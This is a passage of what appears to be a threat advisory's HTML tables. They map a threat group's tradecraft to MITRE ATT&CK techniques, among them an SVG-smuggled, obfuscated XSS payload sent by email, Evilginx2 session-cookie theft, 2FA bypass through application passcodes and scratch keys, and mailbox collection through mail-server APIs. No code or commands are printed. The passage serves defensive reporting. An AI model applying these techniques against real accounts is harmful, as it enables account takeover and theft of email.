<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
